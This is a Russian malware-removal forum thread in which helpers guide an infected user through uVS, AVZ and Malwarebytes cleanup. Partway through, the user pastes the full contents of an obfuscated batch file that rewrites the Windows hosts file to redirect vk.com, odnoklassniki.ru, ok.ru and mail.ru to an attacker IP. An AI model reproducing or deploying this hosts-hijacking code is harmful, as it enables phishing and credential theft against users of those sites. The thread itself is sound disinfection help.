появился вирус. помогите вылечить

[ilij4]

Зацепил вчера вирус. он тут же сам установился и при обращении в браузере подменяются страницы и выдается сообщения рекламные где предлагается отправить деньги на телефон
eset удалить не может он пишет

17.10.2012 11:55:59 Модуль сканирования файлов, исполняемых при запуске системы файл Оперативная память = D:\Documents and Settings\Дима и Аня\Application Data\Microsoft\taskhost.exe модифицированный Win32/SpyVoltar.A троянская программа очистка невозможна HOME-B6ACE71D45\Дима и Аня

создал логи uvs и avz, но выложить не могу, т.к. подменяет браузео страницы при пользовании сайтами и адрес размещения логов я не вижу после отправки в файлообменники

[KaAd]

Сообщение от ilij4

создал логи uvs и avz, но выложить не могу, т.к. подменяет браузео страницы при пользовании сайтами и адрес размещения логов я не вижу после отправки в файлообменники

ну перекиньте логи на флешку/диск и залейте с другого устройства!

[safety]

пробуйте из безопасного режима системы safe mode (с поддержкой сети) выложить логи

[ilij4]

лог uvz отправил с др компа
http://zalil.ru/upload/33861553

---------- Добавлено в 12:38 ---------- Предыдущее сообщение было написано в 12:38 ----------

http://zalil.ru/33861566
лог avz

---------- Добавлено в 12:40 ---------- Предыдущее сообщение было написано в 12:38 ----------

http://zalil.ru/33861568
лог за 3 месяца проги rsit

[safety]

выполните в uVS скрипт из файла
файл скрипта скачайте отсюда
http://rghost.ru/private/40985962/fa...9821d4a3f37851
после перезагрузки системы,
далее,
выполните быстрое сканирование в Malwarebytes

[Vvvyg]

ilij4, что за файл:

D:\PROGRAM FILES\DD2\DD1\VIDISH.BAT

имеете представление?

[ilij4]

про файл нет представления

[Vvvyg]

Тогда правой кнопкой мыши по нему, "Изменить" и покажите здесь его содержимое с тэгом "Код" (решётка на панели вверху окна ввода сообщения.

[ilij4]

SET POPOLOJO11111111111=%fffff%.
SET POPOLOJO3=%POPOLOJO1%ver
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO5=os%ggbergerg%ts
SET POPOLOJO11111111111=%fffff%.
SET POPOLOJO3=%POPOLOJO1%ver
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO5=os%ggbergerg%ts
SET POPOLOJO11111111111=%fffff%.
SET POPOLOJO3=%POPOLOJO1%ver
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJO5=os%ggbergerg%ts
SET POPOLOJO2=\%sefe4gk%S%dnr4grg45grg%ystem32\dri
SET POPOLOJO2=%systemroot%%POPOLOJO2%%ggbdergerggg%%PO POLOJO3%
SET POPOLOJO2=\%sefe4gk%S%dnr4grg45grg%ystem32\dri
SET POPOLOJO3=%POPOLOJO1%ver
SET POPOLOJO4=s\et%Abergergm%c\h
SET POPOLOJO2=%systemroot%%POPOLOJO2%%ggbdergerggg%%PO POLOJO3%
SET POPOLOJO2=%POPOLOJO2%%POPOLOJO4%%POPOLOJO5%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
echo 98y9879799 >> %POPOLOJOOLO%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 my%dfsdfsdf%.mail%dfsdfsdf%.ru >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 m%dfsdfsdf%.my%dfsdfsdf%.mail%dfsdfsdf%.ru >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 vk%dfsdfsdf%.com >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 m%dfsdfsdf%.vk%dfsdfsdf%.com >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 odnoklassniki%dfsdfsdf%.ru >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 www%dfsdfsdf%.odnoklassniki%dfsdfsdf%.ru >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 m%dfsdfsdf%.odnoklassniki%dfsdfsdf%.ru >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 ok%dfsdfsdf%.ru >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 m%dfsdfsdf%.ok%dfsdfsdf%.ru >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 vk%dfsdfsdf%.com >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%
#--ffff---э

echo 94%dfsdfsdf%.242%dfsdfsdf%.221%dfsdfsdf%.203 www%dfsdfsdf%.odnoklassniki%dfsdfsdf%.ru >> %POPOLOJOOLO%
SET POPOLOJOOLO=%DbdfgdfgnmG%%POPOLOJO2%

---------- Добавлено в 13:32 ---------- Предыдущее сообщение было написано в 13:31 ----------

Скрипт помог, малваребайт ничего не нашел. Комп вроде работает нормально. Спасибо за помощь огромное

---------- Добавлено в 13:33 ---------- Предыдущее сообщение было написано в 13:32 ----------

выше выложил содержимое файла D:\PROGRAM FILES\DD2\DD1\VIDISH.BAT
про решетку не совсем понял

[safety]

что с проблемой? выполнен скрипт в uVS? выполнено сканирование в малваребайт?

[Vvvyg]

Сообщение от ilij4

выше выложил содержимое файла D:\PROGRAM FILES\DD2\DD1\VIDISH.BAT

Удаляйте этот файл, и если в папке DD2 ничего Вашего нет, её тоже со всем содержимым.

[ilij4]

Safety спасибо вам, проблема исчезла, скрипт выполнил, малваребайт не нашел ничего

[safety]

хорошо,
Выполните скрипт в AVZ при наличии доступа в интернет:
--------

begin
if FileExists(GetAVZDirectory + 'log\avz_log.txt') Then DeleteFile(GetAVZDirectory  + 'log\avz_log.txt');
 If DownloadFile('http://dataforce.ru/~kad/ScanVuln.txt', GetAVZDirectory +'ScanVuln.txt') Then ExecuteScript('ScanVuln.txt')
 Else ShowMessage('Невозможно загрузить скрипт AVZ для обнаружения наиболее часто используемых уязвимостей!');
 if FileExists(GetAVZDirectory + 'log\avz_log.txt') Then ExecuteFile('notepad.exe', GetAVZDirectory + 'log\avz_log.txt', 1, 0, false)
 else MessageDlg('Часто используемые уязвимости не обнаружены.', mtInformation, mbOk, 0);
end.

---------
После его работы, если будут найдены уязвимости, в блокноте откроется файл avz_log.txt со ссылками на обновления системы и критичных к безопасности программ, которые нужно загрузить и установить. В первую очередь это относится к Java Runtime Environment, Adobe Reader и Adobe Flash Player.